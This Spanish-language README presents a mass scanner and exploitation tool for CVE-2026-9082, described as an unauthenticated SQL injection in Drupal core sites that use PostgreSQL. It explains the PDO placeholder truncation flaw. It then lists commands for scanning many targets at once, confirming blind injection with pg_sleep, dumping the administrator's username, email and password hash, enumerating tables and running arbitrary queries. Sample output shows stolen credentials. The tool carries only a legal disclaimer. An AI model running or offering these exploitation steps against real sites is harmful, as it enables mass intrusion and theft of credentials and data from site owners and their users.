CVE-2026-9082 — Inyección SQL en Drupal PostgreSQL

Escáner masivo y herramienta de explotación

Inyección SQL no autenticada en el núcleo de Drupal (PostgreSQL)
Inyección en claves de array de filtros JSON:API mediante abuso de nombres de placeholder de PDO

Resumen

CVE-2026-9082 es una vulnerabilidad de inyección SQL Altamente Crítica en el núcleo de Drupal que afecta a todos los sitios con backend PostgreSQL que ejecutan Drupal 8.0 hasta 11.3.9. Añadida al catálogo Known Exploited Vulnerabilities (KEV) de CISA el 2026-05-22 — explotada activamente en la naturaleza.

Impacto

Gravedad	CVSS	Autenticación requerida	Vector de ataque
Crítica	9.8+	Ninguna	HTTP (JSON:API)

Exfiltración de datos — extraer bases de datos, usuarios y hashes de contraseñas
Escalada de privilegios — crear cuentas de administrador, modificar contenido
Ejecución remota de código — en algunas configuraciones mediante pg_exec() o COPY ... PROGRAM

Versiones afectadas

Estado	Versiones
❌ Vulnerable	Drupal 8.0.0 → 11.3.9 (backend PostgreSQL)
✅ Corregida	11.3.10, 11.2.12, 10.6.9, 10.5.10

Cómo funciona

El fallo se encuentra en core/modules/pgsql/src/EntityQuery/Condition.php. El método translateCondition() utiliza claves de array controladas por el usuario de los parámetros de filtro JSON:API para construir nombres de placeholder de PDO. PDO solo interpreta [a-zA-Z0-9_] como nombres de placeholder, por lo que cualquier sufijo después de ) se convierte en SQL literal inyectado en la consulta.

JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection

Características

✅ Escáner masivo — escanea cientos de objetivos de forma concurrente
✅ Modo de objetivo único — comprueba sitios Drupal individuales
✅ Detección basada en tiempo — confirmación de inyección SQL ciega con pg_sleep()
✅ Detección basada en booleanos — comparación del recuento de filas
✅ Extracción de versión — identifica la versión de PostgreSQL
✅ Información de la base de datos — extrae el usuario actual y el nombre de la base de datos
✅ Volcado de credenciales de administrador — nombre de usuario, correo electrónico, hash de contraseña (uid=1)
✅ Listado de tablas — enumera todas las tablas públicas
✅ Consultas SQL personalizadas — ejecuta cualquier consulta de extracción
✅ Soporte de proxy — enruta a través de Burp Suite o similar
✅ Salida a archivo — guarda los resultados del escaneo masivo
✅ Salida de terminal en color — resultados fáciles de leer

Instalación

Requisitos previos

Python 3.8+
pip (gestor de paquetes de Python)

Instalar dependencias

# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082

# Install requirements
pip install requests

¡Eso es todo! Solo una dependencia: requests.

Uso

🕵️ Comprobar un objetivo único

python3 cve_2026_9082_scanner.py -u https://target.com --check

📡 Escaneo masivo de múltiples objetivos

python3 cve_2026_9082_scanner.py -f targets.txt

Formato de targets.txt:

https://target1.com
target2.com
192.168.1.100

🔓 Extraer la versión de PostgreSQL

python3 cve_2026_9082_scanner.py -u https://target.com --version

🗄️ Extraer información de la base de datos

python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo

👤 Volcar credenciales de administrador (uid=1)

python3 cve_2026_9082_scanner.py -u https://target.com --admin

📋 Listar todas las tablas

python3 cve_2026_9082_scanner.py -u https://target.com --tables

💉 Consulta SQL personalizada

python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"

Guardar resultados en un archivo

python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt

Usar proxy (Burp Suite)

python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080

Personalizar tiempos

# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10

# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60

Referencia de comandos

Flag	Descripción
`-u, --url`	URL de un único objetivo
`-f, --file`	Archivo con objetivos (uno por línea)
`-o, --output`	Guardar los resultados del escaneo en un archivo
`--check`	Comprobar si el objetivo es vulnerable
`--version`	Extraer la versión de PostgreSQL
`--dbinfo`	Extraer el usuario y el nombre de la base de datos
`--admin`	Extraer credenciales de administrador de Drupal (uid=1)
`--tables`	Listar todas las tablas de la base de datos
`--query`	Consulta de extracción SQL personalizada
`--threads`	Hilos para el escaneo masivo (predeterminado: 20)
`--timeout`	Tiempo de espera de la solicitud HTTP (predeterminado: 30s)
`--delay`	Retardo de pg_sleep para la detección (predeterminado: 5s)
`--no-ssl-verify`	Omitir la verificación de certificados TLS
`--proxy`	Proxy HTTP (p. ej., http://127.0.0.1:8080)

Ejemplo de salida

Objetivo vulnerable

╔══════════════════════════════════════════════════════════════╗
║          CVE-2026-9082 - Drupal PostgreSQL SQLi             ║
║       Mass Scanner + Exploitation Tool v1.0.0               ║
╚══════════════════════════════════════════════════════════════╝
  CISA KEV: Added 2026-05-22  |  Advisory: SA-CORE-2026-004

[*] Checking: https://vulnerable-drupal-site.com

[!!] VULNERABLE - https://vulnerable-drupal-site.com
      Method: time-based (+5.2s)
      Resource: node/article

Volcado de credenciales de administrador

[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...

Referencias

Fuente	Enlace
Aviso de Drupal	SA-CORE-2026-004
CISA KEV	CVE-2026-9082
Commit del parche	ea9524d9
Entrada NVD	CVE-2026-9082
Descubridor	Michael Maturi

⚠️ Aviso legal

Esta herramienta es solo para pruebas de seguridad autorizadas, fines educativos e investigación ética.

El acceso no autorizado a sistemas informáticos es ilegal. Los autores no asumen responsabilidad alguna y no son responsables de ningún uso indebido ni daño causado por este programa.

Autor

Ridhin V A (@ridhinva) — cazador de bug bounty e investigador de seguridad

_{Construido porque CISA KEV indica que se está explotando activamente en la naturaleza. Parchea tus sitios Drupal.}

drupal-jsonapi-sqli-scanner

Más Populares